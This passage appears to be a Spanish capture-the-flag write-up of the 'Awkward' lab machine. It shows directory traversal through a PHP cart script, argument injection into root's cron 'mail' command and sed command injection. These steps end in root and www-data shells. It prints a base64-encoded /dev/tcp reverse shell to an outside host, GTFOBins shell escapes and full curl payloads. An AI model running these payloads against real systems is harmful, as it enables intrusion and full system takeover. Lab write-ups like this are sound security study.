drwxr-xr-x 2 root root 4096 Oct 6 01:35 fonts/
drwxr-xr-x 6 root root 4096 Oct 6 01:35 img/
-rwxr-xr-x 1 root root 14770 Sep 15 20:09 index.php*
drwxr-xr-x 3 root root 4096 Oct 6 01:35 js/
drwxrwxrwx 2 root root 4096 Feb 13 10:30 product-details/
-rwxr-xr-x 1 root root 918 Sep 15 20:09 README.md*
-rwxr-xr-x 1 root root 13731 Sep 15 20:09 shop.php*
drwxr-xr-x 6 root root 4096 Oct 6 01:35 static/
-rwxr-xr-x 1 root root 695 Sep 15 20:09 style.css*
Por alguna razón tenemos todos los permisos en cart
y product-details
:
bean@awkward:~$ ll /var/www/store/cart/
total 8
drwxrwxrwx 2 root root 4096 Feb 13 10:30 ./
drwxr-xr-x 9 root root 4096 Oct 6 01:35 ../
bean@awkward:~$ ll /var/www/store/product-details/
total 20
drwxrwxrwx 2 root root 4096 Feb 13 10:30 ./
drwxr-xr-x 9 root root 4096 Oct 6 01:35 ../
-rw-r--r-- 1 root root 99 Feb 13 10:30 1.txt
-rw-r--r-- 1 root root 98 Feb 13 10:30 2.txt
-rw-r--r-- 1 root root 97 Feb 13 10:30 3.txt
bean@awkward:~$ cat /var/www/store/product-details/*.txt
***Hat Valley Product***
item_id=1&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90
***Hat Valley Product***
item_id=2&item_name=Palm Tree Cap&item_brand=Kool Kats&item_price=$48.50
***Hat Valley Product***
item_id=3&item_name=Straw Hat&item_brand=Sunny Summer&item_price=$70.00
El script PHP relevante es cart_actions.php
:
bean@awkward:~$ cat /var/www/store/cart_products.php
<?php
$STORE_HOME = "/var/www/store/";
//check for valid hat valley store item
function checkValidItem($filename) {
if(file_exists($filename)) {
$first_line = file($filename)[0];
if(strpos($first_line, "***Hat Valley") !== FALSE) {
return true;
}
}
return false;
}
//add to cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
foreach($bad_chars as $bad) {
if(strpos($item_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
foreach($bad_chars as $bad) {
if(strpos($user_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
}
system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
echo "Item added successfully!";
}
else {
echo "Invalid item";
}
exit;
}
//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
foreach($bad_chars as $bad) {
if(strpos($item_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
foreach($bad_chars as $bad) {
if(strpos($user_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
echo "Item removed from cart";
}
else {
echo "Invalid item";
}
exit;
}
//fetch from cart
if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'fetch_items' && $_GET['user']) {
$html = "";
$dir = scandir("{$STORE_HOME}cart");
$files = array_slice($dir, 2);
foreach($files as $file) {
$user_id = substr($file, -18);
if($user_id === $_GET['user'] && checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
$product_file = fopen("{$STORE_HOME}cart/{$file}", "r");
$details = array();
while (($line = fgets($product_file)) !== false) {
if(str_replace(array("\r", "\n"), '', $line) !== "***Hat Valley Cart***") { //don't include first line
array_push($details, str_replace(array("\r", "\n"), '', $line));
}
}
foreach($details as $cart_item) {
$cart_items = explode("&", $cart_item);
for($x = 0; $x < count($cart_items); $x++) {
$cart_items[$x] = explode("=", $cart_items[$x]); //key and value as separate values in subarray
}
$html .= "<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} onclick=\"removeFromCart(this, localStorage.getItem('user'))\" class='remove-item'>Remove</button></td></tr>";
}
}
}
echo $html;
exit;
}
?>
Parece muy complicado, pero no lo es. Primero, la función llamada checkValidItem
verifica si existe un archivo y si la primera línea comienza con ***Hat Valley
. De lo contrario, regresa false
.
Centrémonos en el método add_item
. Particularmente, en esta sección:
if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
}
system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
echo "Item added successfully!";
}
else {
echo "Invalid item";
}
Hay dos variables que podemos controlar: user_id
e item_id
, aunque hay una lista de caracteres no permitidos, igual que la de antes. Sin embargo, la lista de caracteres no permitidos no es exhaustiva. Por ejemplo, se permiten puntos (.
) y barras (/
). Usando esto, podemos realizar un ataque de Directory Traversal. La primera llamada a system
no es muy útil, pero la segunda parece más crítica:
system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
Lo que hace la instrucción es tomar la segunda línea del archivo del artículo y agregarlo al archivo de carrito de usuario. Nótese que se nos permite escribir archivos en /var/www/store/product-details
, por lo que que podemos controlar el contenido del archivo del lado izquierdo que se añadirá al archivo del lado derecho.
Buscando archivos propiedad de www-data
(como usuario y grupo), encontramos /var/www/private
:
bean@awkward:~$ find / -user www-data 2>/dev/null | grep -vE 'proc|sys|run'
/var/lib/nginx/body
/var/lib/nginx/uwsgi
/var/lib/nginx/fastcgi
/var/lib/nginx/scgi
/var/lib/nginx/proxy
bean@awkward:~$ find / -group www-data 2>/dev/null | grep -vE 'proc|sys|run'
/var/www/.pm2
/var/www/private
En realidad, podemos recordar el archivo CSV en /var/www/private/leave_requests.csv
. Tal vez se usa para algo. Para descubrir esto, podemos ejecutar pspy
para enumerar procesosen ejecución. Estos parecen curiosos:
CMD: UID=0 PID=5489 | /usr/sbin/CRON -f -P
CMD: UID=0 PID=5491 | /bin/bash /root/scripts/restore.sh
CMD: UID=0 PID=5490 | /bin/sh -c /root/scripts/restore.sh
CMD: UID=0 PID=5500 | /bin/bash /root/scripts/restore.sh
CMD: UID=0 PID=5499 | mail -s Leave Request: christine
CMD: UID=0 PID=5503 | cp /root/backup/1.txt /var/www/store/product-details/
CMD: UID=0 PID=5504 | /bin/bash /root/scripts/restore.sh
CMD: UID=0 PID=5507 | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem root
CMD: UID=0 PID=5506 | /usr/sbin/sendmail -oi -f root@awkward -t
CMD: UID=0 PID=5508 | /usr/sbin/postdrop -r
CMD: UID=0 PID=5509 | /usr/sbin/postdrop -r
CMD: UID=0 PID=5510 | cleanup -z -t unix -u -c
CMD: UID=0 PID=5511 | trivial-rewrite -n rewrite -t unix -u -c
CMD: UID=0 PID=5512 | local -t unix
CMD: UID=0 PID=5518 | mail -s Leave Request: bean.hill christine
Si miramos GTFOBins para mail
o usamos mi herramienta gtfobins-cli
, veremos que es posible inyectar algunos parámetros para ejecutar comandos de sistema:
$ gtfobins-cli --shell mail
mail ==> https://gtfobins.github.io/gtfobins/mail/
Shell
It can be used to break out from restricted environments by spawning an interactive system shell.
GNU version only.
mail --exec='!/bin/sh'
This creates a valid Mbox file which may be required by the binary.
TF=$(mktemp)
echo "From nobody@localhost $(date)" > $TF
mail -f $TF
!/bin/sh
Intentemos adivinar para qué sirve el archivo CSV. Por ejemplo, podemos intentar agregar algo como esto:
bean@awkward:~$ cat > /var/www/store/product-details/4.txt
***Hat Valley Product***
asdf
^C
bean@awkward:~$
$ curl store.hat-valley.htb/cart_actions.php -d 'item=4&user=../../../../../var/www/private/leave_requests.csv&action=add_item' -H 'Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A='
Item added successfully!
Para ver si algo se añadió o no, podemos usar la vulnerabilidad LFR anterior:
$ node readFile.js /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
asdf
Ahí está. Y si miramos los procesos de ejecución, tenemos este:
CMD: UID=0 PID=5518 | mail -s Leave Request: asdf christine
Otra forma de probar esta funcionalidad es usar /api/submit-leave
controlando la variable user
con un token JWT (como antes). Sin embargo, esta manera no es útil para la explotación debido a la lista de caracteres no permitidos.
Escalada de privilegios
Dado que el contenido agregado al archivo CSV se refleja en el comando mail
, podemos intentar inyectar el parámetro malicioso. Por ejemplo, escribamos un comando de reverse shell en un script de Bash:
bean@awkward:~$ cat > /tmp/shell.sh
#!/bin/bash
echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash
^C
bean@awkward:~$ chmod +x /tmp/shell.sh
Luego, podemos poner --exec='!/tmp/shell.sh'
en el archivo CSV:
bean@awkward:~$ cat > /var/www/store/product-details/4.txt
***Hat Valley Product***
--exec='!/tmp/shell.sh'
^C
bean@awkward:~$
Ahora, escribimos un parámetro malicioso en el archivo CSV:
$ curl store.hat-valley.htb/cart_actions.php -d 'item=1337&user=../../../../../var/www/private/leave_requests.csv&action=add_item' -H 'Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A='
Item added successfully!
Aquí está:
$ node readFile.js /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
--exec='!/tmp/shell.sh'
Sin embargo, no está funcionando, aunque vemos este comando:
CMD: UID=0 PID=4047 | mail -s Leave Request: --exec='!/tmp/shell.sh' christine
Podemos intentar agregar espacios a la izquierda y a la derecha y no pasa nada. Por lo tanto, podemos suponer que el payload está envuelto de alguna manera en comillas dobles, así que intentemos escapar de este contexto:
bean@awkward:~$ cat > /var/www/store/product-details/4.txt
***Hat Valley Product***
" --exec='!/tmp/shell.sh' "
^C
bean@awkward:~$
$ curl store.hat-valley.htb/cart_actions.php -d 'item=1337&user=../../../../../var/www/private/leave_requests.csv&action=add_item' -H 'Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A='
Item added successfully!
$ node readFile.js /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
" --exec='!/tmp/shell.sh' "
¡Y ahora sí funciona! Tenemos una reverse shell como root
:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.185.
Ncat: Connection from 10.10.11.185:59596.
bash: cannot set terminal process group (977): Inappropriate ioctl for device
bash: no job control in this shell
root@awkward:~/scripts# script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@awkward:~/scripts# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@awkward:~/scripts# export TERM=xterm
root@awkward:~/scripts# export SHELL=bash
root@awkward:~/scripts# stty rows 50 columns 158
Cojamos la flag root.txt
:
root@awkward:~/scripts# cat /root/root.txt
5b7759c68ce8411582696a65bf945c05
Como era de esperar, el comando mail
tenía comillas dobles:
root@awkward:~/scripts# cat notify.sh
#!/bin/bash
inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv | while read; do
change=$(tail -1 /var/www/private/leave_requests.csv)
name=`echo $change | awk -F, '{print $1}'`
echo -e "You have a new leave request to review!\n$change" | mail -s "Leave Request: "$name christine
done
Vía alternativa
Hay una manera de obtener una reverse shell como www-data
,siendo más fácil agregar contenido al archivo CSV. El exploit está en la aplicación de la tienda, en el método delete_item
. En concreto, aquí:
if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
echo "Item removed from cart";
}
De nuevo, existe un GTFOBin para sed
:
$ gtfobins-cli --shell sed
sed ==> https://gtfobins.github.io/gtfobins/sed/
Shell
It can be used to break out from restricted environments by spawning an interactive system shell.
GNU version only. Also, this requires bash.
sed -n '1e exec sh 1>&0' /etc/hosts
GNU version only. The resulting shell is not a proper TTY shell.
sed e
Y controlamos tanto item_id
como user_id
. Si agregamos un artículo del sitio web, veremos este archivo (con el identificador de usuario que se encuentra en localStorage
):
bean@awkward:~$ ls /var/www/store/cart
d04c-f798-688-7e56
Entonces, debemos dejar ese archivo como está porque checkValidItem
necesita validarlo. Sin embargo, vamos a poner el siguiente payload en item_id
:
1' -e '1e /tmp/shell.sh' /'
Nótese que necesitamos -e
(--expression=script
):
bean@awkward:~$ sed 2>&1 | grep '\-e'
-e script, --expression=script
-E, -r, --regexp-extended
If no -e, --expression, -f, or --file option is given, then the first
bean@awkward:~$ sed 2>&1 | grep '\-n'
Usage: sed [OPTION]... {script-only-if-no-other-script} [input-file]...
-n, --quiet, --silent
-z, --null-data
Ahora podemos enviar el payload con curl
y obtener la reverse shell:
$ curl store.hat-valley.htb/cart_actions.php -d "item=1' -e '1e /tmp/shell.sh' '&user=d04c-f798-688-7e56&action=delete_item" -H 'Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A='
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.185.
Ncat: Connection from 10.10.11.185:49182.
bash: cannot set terminal process group (1325): Inappropriate ioctl for device
bash: no job control in this shell
www-data@awkward:~/store$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@awkward:~/store$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@awkward:~/store$ export TERM=xterm
www-data@awkward:~/store$ export SHELL=bash
www-data@awkward:~/store$ stty rows 50 columns 158
Y con esto, podemos interactuar con el archivo CSV directamente:
www-data@awkward:~/store$ cat /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No